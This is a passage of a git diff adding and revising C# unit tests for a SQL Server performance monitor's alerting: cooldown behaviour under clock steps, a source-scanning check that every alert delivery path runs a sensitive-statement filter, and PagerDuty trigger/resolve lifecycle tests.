+        var reached = await WaitForAsync(async () => { var look = await LookAsync(); return look.Present == 0 || look.Scheduled == 0; }, TimeSpan.FromSeconds(30), ct);
+        var final = await LookAsync();
+        Assert.True(reached, $"the sweep never stopped the jobs: {log.Joined}");
+        Assert.True(final.Present == jobIds.Count, $"the aggregate's jobs were dropped before its worker exited: {log.Joined}");
+    }
+
+    private static async Task<bool> WorkerAliveAsync(NpgsqlConnection connection, int workerPid, int jobId, CancellationToken ct)
+        => await ScalarAsync<long>(connection, $"SELECT count(*) FROM pg_stat_activity WHERE pid = {workerPid} AND backend_type LIKE '% [{jobId}]'", ct) > 0;
+
+    private static async Task<long> WorkerCountAsync(NpgsqlConnection connection, IReadOnlyCollection<int> jobIds, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(TimescaleSupport.AggregateJobWorkerCountSql, connection);
+        command.Parameters.AddWithValue(jobIds.ToArray());
+        return (long)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task<bool> RelationExistsAsync(NpgsqlConnection connection, string view, CancellationToken ct)
+        => await ScalarAsync<bool>(connection, $"SELECT to_regclass('collect.{view}') IS NOT NULL", ct);
+
+    private static async Task<bool> WaitForAsync(Func<Task<bool>> condition, TimeSpan timeout, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow + timeout;
+        while (DateTime.UtcNow < deadline)
+        {
+            if (await condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(TimeSpan.FromMilliseconds(100), ct);
+        }
+
+        return await condition();
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        var value = await command.ExecuteScalarAsync(ct);
+        Assert.NotNull(value);
+        return (T)Convert.ChangeType(value, typeof(T), System.Globalization.CultureInfo.InvariantCulture)!;
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/AlertCooldownClockStepTests.cs b/Darling/Darling.Tests/AlertCooldownClockStepTests.cs
index baab0e31f3..ebdc9661fd 100644
--- a/Darling/Darling.Tests/AlertCooldownClockStepTests.cs
+++ b/Darling/Darling.Tests/AlertCooldownClockStepTests.cs
@@ -16,6 +16,7 @@
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Notifications;
 using Xunit;
 
@@ -175,8 +176,24 @@ private static DarlingSelfAlertTests.Harness Rig(int connectionRefireMinutes = 0
         return h;
     }
 
-    private static Task StoppedAsync(DarlingSelfAlertEvaluator e) =>
-        e.ApplyCollectionStoppedAsync(ServerId, Name, stopped: true, "no recent collection", Ct);
+    /* #5489/#5493: the lasting-state alerts (Collection Stopped, Capture Down and the rest) no longer repeat per
+       shared cooldown, so the shared-cooldown gate is exercised through a threshold alert, the collector cost
+       regression, which still does. Each check carries a newer metric row than the last, as an hourly flush would,
+       because the arm also waits for fresh data. (The method keeps its name to keep the diff small.) */
+    private const string CostMetric = "Collector Cost Regression";
+    private const string CostKey = "cost:7:query_store";
+    private static readonly DateTime CostFirstDataPoint = new(2026, 7, 1, 11, 0, 0, DateTimeKind.Utc);
+    private int _costDataPoints;
+
+    private Task StoppedAsync(DarlingSelfAlertEvaluator e)
+    {
+        _costDataPoints++;
+        return e.ApplyCostRegressionsAsync(
+            new[] { new DarlingCollectorCostReader.CostRegression(
+                7, "prod-multi-19", "query_store", 8000, 2000.0,
+                CostFirstDataPoint.AddHours(_costDataPoints), 100, 80.0, 20.0, 20.0) },
+            Ct);
+    }
 
     private static int Fires(DarlingSelfAlertTests.Harness h, string metric) =>
         h.Deliverer.Outcomes.Count(o => o.MetricName == metric);
@@ -189,19 +206,19 @@ public async Task ASharedCooldownRepeat_AfterA10MinuteStepBack_IsHeldOneCooldown
         var firedAt = h.Now;
 
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt.AddMinutes(-10);
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt.AddMinutes(-10) + Cooldown - TimeSpan.FromSeconds(1);
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt.AddMinutes(-10) + Cooldown;
         await StoppedAsync(e);
-        Assert.Equal(2, Fires(h, "Collection Stopped"));
+        Assert.Equal(2, Fires(h, CostMetric));
     }
 
     [Fact]
@@ -214,15 +231,15 @@ public async Task ASharedCooldownRepeat_After50MillisecondsBack_IsNotSentAtOnce(
         await StoppedAsync(e);
         h.Now = firedAt.AddMilliseconds(-50);
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt.AddMilliseconds(-50) + Cooldown - TimeSpan.FromMilliseconds(1);
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt.AddMilliseconds(-50) + Cooldown;
         await StoppedAsync(e);
-        Assert.Equal(2, Fires(h, "Collection Stopped"));
+        Assert.Equal(2, Fires(h, CostMetric));
     }
 
     [Fact]
@@ -235,11 +252,11 @@ public async Task ASharedCooldownRepeat_OnAForwardClock_IsDueExactlyOneCooldownA
         await StoppedAsync(e);
         h.Now = firedAt + Cooldown - TimeSpan.FromTicks(1);
         await StoppedAsync(e);
-        Assert.Equal(1, Fires(h, "Collection Stopped"));
+        Assert.Equal(1, Fires(h, CostMetric));
 
         h.Now = firedAt + Cooldown;
         await StoppedAsync(e);
-        Assert.Equal(2, Fires(h, "Collection Stopped"));
+        Assert.Equal(2, Fires(h, CostMetric));
     }
 
     [Fact]
@@ -249,16 +266,16 @@ public async Task TheFirstSharedCooldownCheckAfterAStepBack_StoresItsOwnClockVal
         var e = h.Build();
         var firedAt = h.Now;
         var stamps = (ConcurrentDictionary<string, DateTime>)typeof(DarlingSelfAlertEvaluator)
-            .GetField("_lastCollectionStoppedAlert", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .GetField("_lastCostRegressionAlert", BindingFlags.NonPublic | BindingFlags.Instance)!
             .GetValue(e)!;
 
         await StoppedAsync(e);
-        Assert.Equal(firedAt, stamps[Key]);
+        Assert.Equal(firedAt, stamps[CostKey]);
 
         h.Now = firedAt.AddMinutes(-10);
         await StoppedAsync(e);
 
-        Assert.Equal(firedAt.AddMinutes(-10), stamps[Key]);
+        Assert.Equal(firedAt.AddMinutes(-10), stamps[CostKey]);
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/AlertDelivererInventoryPinTests.cs b/Darling/Darling.Tests/AlertDelivererInventoryPinTests.cs
new file mode 100644
index 0000000000..1d20b75821
--- /dev/null
+++ b/Darling/Darling.Tests/AlertDelivererInventoryPinTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320 (part of #4348): the statement filter sits at the delivery choke point. Both deliverers run
+/// <c>AlertStatementFilter.Apply</c> at their entry, so every caller that hands an outcome to one (the engine's
+/// <c>FireAsync</c>, the PostgreSQL families, the self alerts, the custom alert rules, and any caller added later) is
+/// filtered with no list to keep; the filter's own table of judged instances stops an engine alert being judged twice. The
+/// finding senders filter their own entry points. This pin lists every type that implements a deliverer or a finding
+/// sender, requires the filter at each entry, and lists every file that reaches a notifier or writes an alert history
+/// row, so a new path that skips the deliverer fails here until someone has put the filter on it.
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class AlertDelivererInventoryPinTests
+{
+    private static readonly string[] SourceRoots =
+    [
+        "Darling/PerformanceMonitor.Darling.Service",
+        "Lite",
+        "PerformanceMonitor.Alerting",
+        "PerformanceMonitor.Notifications",
+        "PerformanceMonitor.Common",
+    ];
+
+    /// <summary>Reviewed deliverers. Each re-derives its text from the context the engine already filtered.</summary>
+    private static readonly string[] Deliverers = ["DarlingAlertDeliverer", "LiteAlertDeliverer"];
+
+    /// <summary>Reviewed finding senders. Each starts by running <c>AlertStatementFilter.Apply</c> on the finding.</summary>
+    private static readonly string[] FindingSenders = ["DarlingFindingAlertSender", "EmailAlertService"];
+
+    /// <summary>
+    /// Every file that reaches a notification channel or writes a fired alert's history row without a deliverer
+    /// between. The two deliverers filter at entry; the finding senders filter their own entry points; the two
+    /// Lite sends in <c>MainWindow.AlertEngine.cs</c> (connection alerts and Availability Group alerts) build an
+    /// outcome and run the filter themselves, which the test below requires.
+    /// </summary>
+    private static readonly string[] NotifierPaths =
+    [
+        "Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs",
+        "Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs",
+        "Lite/MainWindow.AlertEngine.cs",
+        "Lite/Services/EmailAlertService.cs",
+        "Lite/Services/LiteAlertDeliverer.cs",
+        "PerformanceMonitor.Notifications/EmailSendCore.cs",
+    ];
+
+    /// <summary>
+    /// The calls that reach a channel or the history row: the email core's <c>TrySendAsync</c> and
+    /// <c>TrySendAlertEmailAsync</c>, the webhook fan-out's <c>TrySendWebhookAlertsAsync</c> (public, so a new direct
+    /// caller would skip the deliverer, L3 of #5360) and its <c>PostWebhookAsync</c> (internal, reachable from every
+    /// app through InternalsVisibleTo), and <c>RecordAlertAsync</c>. The test sends (<c>SendTest*Async</c>) carry fixed
+    /// text only and are not entry points.
+    /// </summary>
+    internal static readonly Regex ChannelCall = new(
+        @"[.]\s*(?:TrySendAlertEmailAsync|TrySendAsync|TrySendWebhookAlertsAsync|PostWebhookAsync|RecordAlertAsync)\s*\(\s*(?!(?:DarlingSelfAlertEvaluator[.])?BuildResolutionRecord)",
+        RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+
+    private static IEnumerable<(string Relative, string Text)> Sources()
+    {
+        foreach (var root in SourceRoots)
+        {
+            var directory = PathTo(root.Split('/'));
+            foreach (var file in Directory.EnumerateFiles(directory, "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = Path.GetRelativePath(Root, file).Replace('\\', '/');
+                if (relative.Contains("/obj/", StringComparison.Ordinal) || relative.Contains("/bin/", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                yield return (relative, CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file)));
+            }
+        }
+    }
+
+    private static List<string> Implementers(string interfaceName)
+    {
+        var declaration = new Regex(
+            @"\b(?:class|record|struct)\s+(?<name>\w+)\s*(?:<[^>]*>)?\s*(?:\([^)]*\))?\s*:\s*(?<bases>[^{;]*)[{;]",
+            RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+        var found = new List<string>();
+        foreach (var (_, text) in Sources())
+        {
+            foreach (Match match in declaration.Matches(text))
+            {
+                if (Regex.IsMatch(match.Groups["bases"].Value, @"\b" + interfaceName + @"\b", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5)))
+                {
+                    found.Add(match.Groups["name"].Value);
+                }
+            }
+        }
+
+        return found.Distinct(StringComparer.Ordinal).OrderBy(n => n, StringComparer.Ordinal).ToList();
+    }
+
+    [Fact]
+    public void EveryAlertDelivererInBothAppsIsReviewed()
+    {
+        Assert.Equal(Deliverers.OrderBy(n => n, StringComparer.Ordinal), Implementers("IAlertDeliverer"));
+    }
+
+    [Fact]
+    public void EveryFindingSenderInBothAppsIsReviewed()
+    {
+        Assert.Equal(FindingSenders.OrderBy(n => n, StringComparer.Ordinal), Implementers("IFindingAlertSender"));
+    }
+
+    [Theory]
+    [InlineData("Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs")]
+    [InlineData("Lite/Services/LiteAlertDeliverer.cs")]
+    public void EveryDelivererFiltersBeforeItReadsTheOutcome(string relative)
+    {
+        var text = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile(relative.Split('/')));
+        var start = text.IndexOf("Task<AlertDelivery?> DeliverAndReportAsync(AlertOutcome outcome", StringComparison.Ordinal);
+        Assert.True(start > 0, "DeliverAndReportAsync not found in " + relative);
+        var body = CSharpSourceWalker.BraceBalanced(text, text.IndexOf('{', start));
+
+        var filter = body.IndexOf("outcome = AlertStatementFilter.Apply(outcome);", StringComparison.Ordinal);
+        Assert.True(filter >= 0, relative + " does not run the statement filter at its delivery entry");
+        Assert.True(filter < body.IndexOf("try", StringComparison.Ordinal), "the filter must run before the delivery body");
+        Assert.True(filter < body.IndexOf("outcome.", StringComparison.Ordinal), "the filter must run before any field of the outcome is read");
+    }
+
+    [Theory]
+    [InlineData("await _webhookAlertService.TrySendWebhookAlertsAsync(alert, ct);")]
+    [InlineData("webhook.TrySendWebhookAlertsAsync (")]
+    [InlineData("await WebhookAlertService.PostWebhookAsync(url, payload, null);")]
+    [InlineData("await _core.TrySendAsync(request);")]
+    [InlineData("await _emailAlertService.TrySendAlertEmailAsync(a, b);")]
+    [InlineData("await _history.RecordAlertAsync(record);")]
+    public void TheChannelPatternCatchesEveryDirectEntryPoint(string plantedCaller)
+    {
+        /* L3 (#5360): the pattern at the base missed TrySendWebhookAlertsAsync, so a planted direct webhook caller
+           passed the inventory. */
+        Assert.Matches(ChannelCall, plantedCaller);
+        Assert.DoesNotMatch(ChannelCall, "await _history.RecordAlertAsync(DarlingSelfAlertEvaluator.BuildResolutionRecord(x));");
+    }
+
+    [Fact]
+    public void NoPathToANotifierOrTheAlertHistorySkipsTheDeliverer()
+    {
+        var files = Sources()
+            .Where(s => ChannelCall.IsMatch(s.Text))
+            .Select(s => s.Relative)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .ToList();
+
+        Assert.Equal(NotifierPaths.OrderBy(n => n, StringComparer.Ordinal), files);
+    }
+
+    [Fact]
+    public void TheTwoLiteDirectSendsFilterTheirOwnText()
+    {
+        var text = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile("Lite", "MainWindow.AlertEngine.cs"));
+        var sends = Regex.Matches(text, @"_emailAlertService[.]TrySendAlertEmailAsync\(", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5)).Count;
+        var filters = Regex.Matches(text, @"AlertStatementFilter[.]Apply\(", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5)).Count;
+        Assert.Equal(2, sends);
+        Assert.Equal(sends, filters);
+    }
+
+    [Theory]
+    [InlineData("Task<PerformanceMonitor.Notifications.AlertDelivery?> SendConnectionAlert(")]
+    [InlineData("Task<PerformanceMonitor.Notifications.AlertDelivery?> SendAgAlert(")]
+    public void EachLiteDirectSendFiltersItsOwnTextAndSendsTheFilteredCopy(string signature)
+    {
+        /* #5320: both sends are WPF window methods no unit test can run, so this source pin is what fails when one of
+           them loses its filter. Checked per method (a count over the file is satisfied by a filter call in a third
+           place): the filter runs before the send, and the send reads the filtered copy, not the raw text. */
+        var text = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile("Lite", "MainWindow.AlertEngine.cs"));
+        var start = text.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start > 0, signature + " not found");
+        var body = CSharpSourceWalker.BraceBalanced(text, text.IndexOf('{', start));
+
+        var filter = body.IndexOf("filtered = AlertStatementFilter.Apply(", StringComparison.Ordinal);
+        var send = body.IndexOf("_emailAlertService.TrySendAlertEmailAsync(", StringComparison.Ordinal);
+        Assert.True(filter >= 0, signature + " does not run the statement filter");
+        Assert.True(send > filter, "the filter must run before the send in " + signature);
+
+        var call = body[send..];
+        Assert.Contains("filtered.ShortMessage", call, StringComparison.Ordinal);
+        Assert.Contains("filtered.DetailText", call, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryResolutionRowIsBuiltThroughTheFilteredRecordBuilder()
+    {
+        var evaluator = CSharpSourceWalker.StripCommentsAndStrings(
+            ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingSelfAlertEvaluator.cs"));
+        var start = evaluator.IndexOf("AlertHistoryRecord BuildResolutionRecord(AlertResolution resolution)", StringComparison.Ordinal);
+        Assert.True(start > 0, "BuildResolutionRecord not found");
+        var end = evaluator.IndexOf(';', start);
+        Assert.Contains("SensitiveStatements.Text(resolution.Message)", evaluator[start..end], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FireAsyncFiltersBeforeItLogsOrDelivers()
+    {
+        var engine = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile("PerformanceMonitor.Alerting", "AlertEngine.cs"));
+        var start = engine.IndexOf("Task<AlertDelivery?> FireAsync(AlertOutcome outcome", StringComparison.Ordinal);
+        Assert.True(start > 0, "FireAsync not found");
+        var body = CSharpSourceWalker.BraceBalanced(engine, engine.IndexOf('{', start));
+
+        var filter = body.IndexOf("AlertStatementFilter.Apply(outcome)", StringComparison.Ordinal);
+        Assert.True(filter >= 0, "FireAsync does not run the statement filter");
+        Assert.True(filter < body.IndexOf("_logger", StringComparison.Ordinal), "the filter must run before the log line");
+        Assert.True(filter < body.IndexOf("_deliverer.DeliverAndReportAsync", StringComparison.Ordinal), "the filter must run before delivery");
+    }
+
+    [Theory]
+    [InlineData("Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs")]
+    [InlineData("Lite/Services/EmailAlertService.cs")]
+    public void EachFindingSenderFiltersBothEntryPoints(string relative)
+    {
+        var text = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile(relative.Split('/')));
+        foreach (var method in new[] { "SendFindingAlertAsync(FindingAlert alert)", "SendFindingSummaryAsync(IReadOnlyList<FindingAlert> named)" })
+        {
+            var start = text.IndexOf(method, StringComparison.Ordinal);
+            Assert.True(start > 0, method + " not found in " + relative);
+            var body = CSharpSourceWalker.BraceBalanced(text, text.IndexOf('{', start));
+            Assert.Contains("AlertStatementFilter.Apply(", body, StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AlertDeliveryChannelTests.cs b/Darling/Darling.Tests/AlertDeliveryChannelTests.cs
index c914b8de91..6a002e0f79 100644
--- a/Darling/Darling.Tests/AlertDeliveryChannelTests.cs
+++ b/Darling/Darling.Tests/AlertDeliveryChannelTests.cs
@@ -37,6 +37,7 @@ namespace Darling.Tests;
 /// through the one shared describer both SKUs use. Lite's half — including that its stored values are
 /// UNCHANGED — is <c>Lite.Tests.AlertDeliveryChannelTests</c>.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AlertDeliveryChannelTests
 {
     /* ─────────────── the resolution record: a stated channel, not a claimed delivery ─────────────── */
@@ -910,6 +911,382 @@ await deliverer.DeliverAsync(
         Assert.Equal(2, CountOccurrences(message, "before raising MAXDOP"));
     }
 
+    /* ────── the PagerDuty paired lifecycle, on the wire ────── */
+
+    /// <summary>
+    /// The review's paired lifecycle, on the wire rather than at the payload builder. PagerDuty's own send
+    /// is captured at the test-only override (below), and the same settings seam drives the whole Darling
+    /// path — <see cref="DarlingAlertDeliverer.DeliverAsync"/> through the shared send core, the fan-out
+    /// and the PagerDuty payload builder — so the flag the payload resolved with is the one the SEND read,
+    /// not one the test handed a builder directly. With the flag OFF the closing edge posts an
+    /// info-severity TRIGGER on its own state-named key (shipped behavior); with the flag ON it posts a
+    /// RESOLVE on the pair's shared incident, and a second firing afterward is NOT throttled by the first
+    /// incident's cooldown (the clear its resolve carried re-armed it).
+    /// </summary>
+    [Fact]
+    public async Task TheDeliverer_SendsThePagerDutyPairedLifecycle_OnTheWire_WithTheFlagOn()
+    {
+        var capture = new CapturingPagerDuty();
+
+        var config = new DarlingConfig();
+        config.Webhooks.PagerDutyRoutingKey = "rk-test";
+        config.Webhooks.PagerDutyAutoResolve = true;
+        config.Smtp.Host = "";
+        config.Smtp.To = "";
+
+        var settings = new DarlingAlertSettings(config);
+        var history = new DiscardingHistoryStore();
+        var webhooks = new WebhookAlertService(
+            settings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, history);
+        webhooks.PostPagerDutyAsyncOverride = (endpoint, payload) =>
+        {
+            Assert.Equal("https://events.pagerduty.com/v2/enqueue", endpoint);
+            capture.Bodies.Add(payload);
+            return Task.FromResult<string?>(null);
+        };
+        var deliverer = new DarlingAlertDeliverer(settings, history, webhooks, NullLogger.Instance);
+
+        var outcome = new AlertOutcome(
+            "13", "PROD01", "Server Unreachable", "Login timeout expired", "Online",
+            Context: null, DetailText: null, NumericCurrentValue: 0, NumericThresholdValue: 0,
+            Muted: false, Severity: AlertSeverityLevel.Critical);
+
+        await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        await deliverer.DeliverAsync(
+            outcome with { MetricName = "Server Restored", Severity = null },
+            TestContext.Current.CancellationToken);
+        await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+
+        /* Unreachable, Restored, Unreachable again: three posts, the middle one a resolve of the first's
+           incident, the third unthrottled by the recovery that closed it (item 2's cooldown clear). */
+        Assert.Equal(3, capture.Bodies.Count);
+
+        var trigger = System.Text.Json.JsonDocument.Parse(capture.Bodies[0]).RootElement;
+        var resolve = System.Text.Json.JsonDocument.Parse(capture.Bodies[1]).RootElement;
+        var second = System.Text.Json.JsonDocument.Parse(capture.Bodies[2]).RootElement;
+
+        Assert.Equal("trigger", trigger.GetProperty("event_action").GetString());
+        Assert.Equal("resolve", resolve.GetProperty("event_action").GetString());
+        Assert.Equal(trigger.GetProperty("dedup_key").GetString(), resolve.GetProperty("dedup_key").GetString());
+        Assert.Equal("trigger", second.GetProperty("event_action").GetString());
+    }
+
+    /// <summary>
+    /// The OFF half of the same pin: the same wire, the same pair, the shipped behavior — an info-severity
+    /// trigger on the closing edge's OWN key. This is what the generic <c>{{dedup_key}}</c> token and the
+    /// triage link also did before the flag existed, and why the rename must stay gated on it (item 3).
+    /// </summary>
+    [Fact]
+    public async Task TheDeliverer_LeavesThePagerDutyPairedLifecycleAlone_OnTheWire_WithTheFlagOff()
+    {
+        var capture = new CapturingPagerDuty();
+
+        var config = new DarlingConfig();
+        config.Webhooks.PagerDutyRoutingKey = "rk-test";
+        config.Webhooks.PagerDutyAutoResolve = false;
+
+        var settings = new DarlingAlertSettings(config);
+        var history = new DiscardingHistoryStore();
+        var webhooks = new WebhookAlertService(
+            settings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, history);
+        webhooks.PostPagerDutyAsyncOverride = (endpoint, payload) =>
+        {
+            capture.Bodies.Add(payload);
+            return Task.FromResult<string?>(null);
+        };
+        var deliverer = new DarlingAlertDeliverer(settings, history, webhooks, NullLogger.Instance);
+
+        var restored = new AlertOutcome(
+            "13", "PROD01", "Server Restored", "Online", "Online",
+            Context: null, DetailText: null, NumericCurrentValue: 0, NumericThresholdValue: 0,
+            Muted: false, Severity: null);
+
+        await deliverer.DeliverAsync(restored, TestContext.Current.CancellationToken);
+
+        var body = System.Text.Json.JsonDocument.Parse(Assert.Single(capture.Bodies)).RootElement;
+        Assert.Equal("trigger", body.GetProperty("event_action").GetString());
+        Assert.Equal("info", body.GetProperty("payload").GetProperty("severity").GetString());
+        Assert.Equal("13:Server Restored", body.GetProperty("dedup_key").GetString());
+    }
+
+    /// <summary>
+    /// The flap through the Darling deliverer: down, up, down, up inside the cooldown, auto-resolve on, for
+    /// the server pair and for one AG replica. The first recovery stamps its own key and the delivered close
+    /// clears only the firing key, so the second recovery used to meet its own cooldown and never resolve
+    /// the second incident. All four posts must reach PagerDuty, the last a resolve.
+    /// </summary>
+    [Theory]
+    [InlineData("Server Unreachable", "Server Restored", false)]
+    [InlineData("AG Replica Disconnected", "AG Replica Reconnected", true)]
+    public async Task TheDeliverer_ResolvesTheSecondIncident_WhenTheRecoveryFlapsInsideTheCooldown_WithTheFlagOn(
+        string firing, string recovery, bool replica)
+    {
+        var capture = new CapturingPagerDuty();
+        var (deliverer, _) = DelivererFor(autoResolve: true, capture);
+
+        var context = replica ? AgAlertContexts.ForReplica("OrdersAG", "REPLICA-A") : null;
+        var down = new AlertOutcome(
+            "13", "PROD01", firing, "Login timeout expired", "Online",
+            Context: context, DetailText: null, NumericCurrentValue: 0, NumericThresholdValue: 0,
+            Muted: false, Severity: AlertSeverityLevel.Critical);
+        var up = down with { MetricName = recovery, Severity = null };
+
+        foreach (var outcome in new[] { down, up, down, up })
+        {
+            await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        }
+
+        var actions = capture.Bodies
+            .Select(body => System.Text.Json.JsonDocument.Parse(body).RootElement.GetProperty("event_action").GetString())
+            .ToArray();
+        Assert.Equal(new[] { "trigger", "resolve", "trigger", "resolve" }, actions);
+    }
+
+    /// <summary>
+    /// The control: the same flap with auto-resolve OFF keeps the shipped throttling. The re-arm is gated on
+    /// the flag, so only the first down and the first up post (the up as an info-severity trigger).
+    /// </summary>
+    [Fact]
+    public async Task TheDeliverer_KeepsTheShippedThrottling_WhenTheRecoveryFlapsInsideTheCooldown_WithTheFlagOff()
+    {
+        var capture = new CapturingPagerDuty();
+        var (deliverer, _) = DelivererFor(autoResolve: false, capture);
+
+        var down = new AlertOutcome(
+            "13", "PROD01", "Server Unreachable", "Login timeout expired", "Online",
+            Context: null, DetailText: null, NumericCurrentValue: 0, NumericThresholdValue: 0,
+            Muted: false, Severity: AlertSeverityLevel.Critical);
+        var up = down with { MetricName = "Server Restored", Severity = null };
+
+        foreach (var outcome in new[] { down, up, down, up })
+        {
+            await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(2, capture.Bodies.Count);
+        Assert.All(capture.Bodies, body =>
+            Assert.Equal("trigger", System.Text.Json.JsonDocument.Parse(body).RootElement.GetProperty("event_action").GetString()));
+    }
+
+    /// <summary>
+    /// #5469 part 2 through the Darling deliverer: two replicas of ONE availability group, all four edges
+    /// inside the cooldown, auto-resolve on. Each replica is its own PagerDuty incident, so both must post
+    /// and each resolve must carry ITS replica's dedup key. With a cooldown key per server + metric, A's
+    /// recovery stamp throttled B's resolve and B's incident stayed open.
+    /// </summary>
+    [Fact]
+    public async Task TheDeliverer_ResolvesBothReplicaIncidents_WhenTwoReplicasFlapInsideTheCooldown_WithTheFlagOn()
+    {
+        var capture = new CapturingPagerDuty();
+        var (deliverer, _) = DelivererFor(autoResolve: true, capture);
+
+        var steps = new[]
+        {
+            ("AG Replica Disconnected", "REPLICA-A"),
+            ("AG Replica Disconnected", "REPLICA-B"),
+            ("AG Replica Reconnected", "REPLICA-A"),
+            ("AG Replica Reconnected", "REPLICA-B"),
+        };
+
+        foreach (var (metric, replica) in steps)
+        {
+            var outcome = new AlertOutcome(
+                "13", "PROD01", metric, "Replica state change", "Online",
+                Context: AgAlertContexts.ForReplica("OrdersAG", replica), DetailText: null,
+                NumericCurrentValue: 0, NumericThresholdValue: 0, Muted: false,
+                Severity: metric == "AG Replica Disconnected" ? AlertSeverityLevel.Critical : null);
+            await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        }
+
+        var bodies = capture.Bodies.Select(body => System.Text.Json.JsonDocument.Parse(body).RootElement).ToArray();
+        Assert.Equal(
+            new[] { "trigger", "trigger", "resolve", "resolve" },
+            bodies.Select(root => root.GetProperty("event_action").GetString()).ToArray());
+        Assert.Equal("13:AG Replica Disconnected:OrdersAG:REPLICA-A", bodies[2].GetProperty("dedup_key").GetString());
+        Assert.Equal("13:AG Replica Disconnected:OrdersAG:REPLICA-B", bodies[3].GetProperty("dedup_key").GetString());
+    }
+
+    /// <summary>
+    /// The control: the same two-replica sequence with auto-resolve OFF keeps what shipped. The cooldown
+    /// key stays per server + metric, so the second down and the second up meet the first one's stamp and
+    /// only the first down and the first up post.
+    /// </summary>
+    [Fact]
+    public async Task TheDeliverer_KeepsTheShippedThrottling_WhenTwoReplicasFlapInsideTheCooldown_WithTheFlagOff()
+    {
+        var capture = new CapturingPagerDuty();
+        var (deliverer, _) = DelivererFor(autoResolve: false, capture);
+
+        foreach (var (metric, replica) in new[]
+        {
+            ("AG Replica Disconnected", "REPLICA-A"),
+            ("AG Replica Disconnected", "REPLICA-B"),
+            ("AG Replica Reconnected", "REPLICA-A"),
+            ("AG Replica Reconnected", "REPLICA-B"),
+        })
+        {
+            var outcome = new AlertOutcome(
+                "13", "PROD01", metric, "Replica state change", "Online",
+                Context: AgAlertContexts.ForReplica("OrdersAG", replica), DetailText: null,
+                NumericCurrentValue: 0, NumericThresholdValue: 0, Muted: false,
+                Severity: metric == "AG Replica Disconnected" ? AlertSeverityLevel.Critical : null);
+            await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(2, capture.Bodies.Count);
+        Assert.All(capture.Bodies, body =>
+            Assert.Equal("trigger", System.Text.Json.JsonDocument.Parse(body).RootElement.GetProperty("event_action").GetString()));
+    }
+
+    /// <summary>
+    /// #5469 scope rule: the per-replica cooldown applies only when auto-resolve is on AND PagerDuty is set up
+    /// and routed for the alert. Two replicas go down inside the cooldown, Teams is the only channel that can
+    /// post, and the flag is on: with no PagerDuty key, and with a PagerDuty key routed to some OTHER metric,
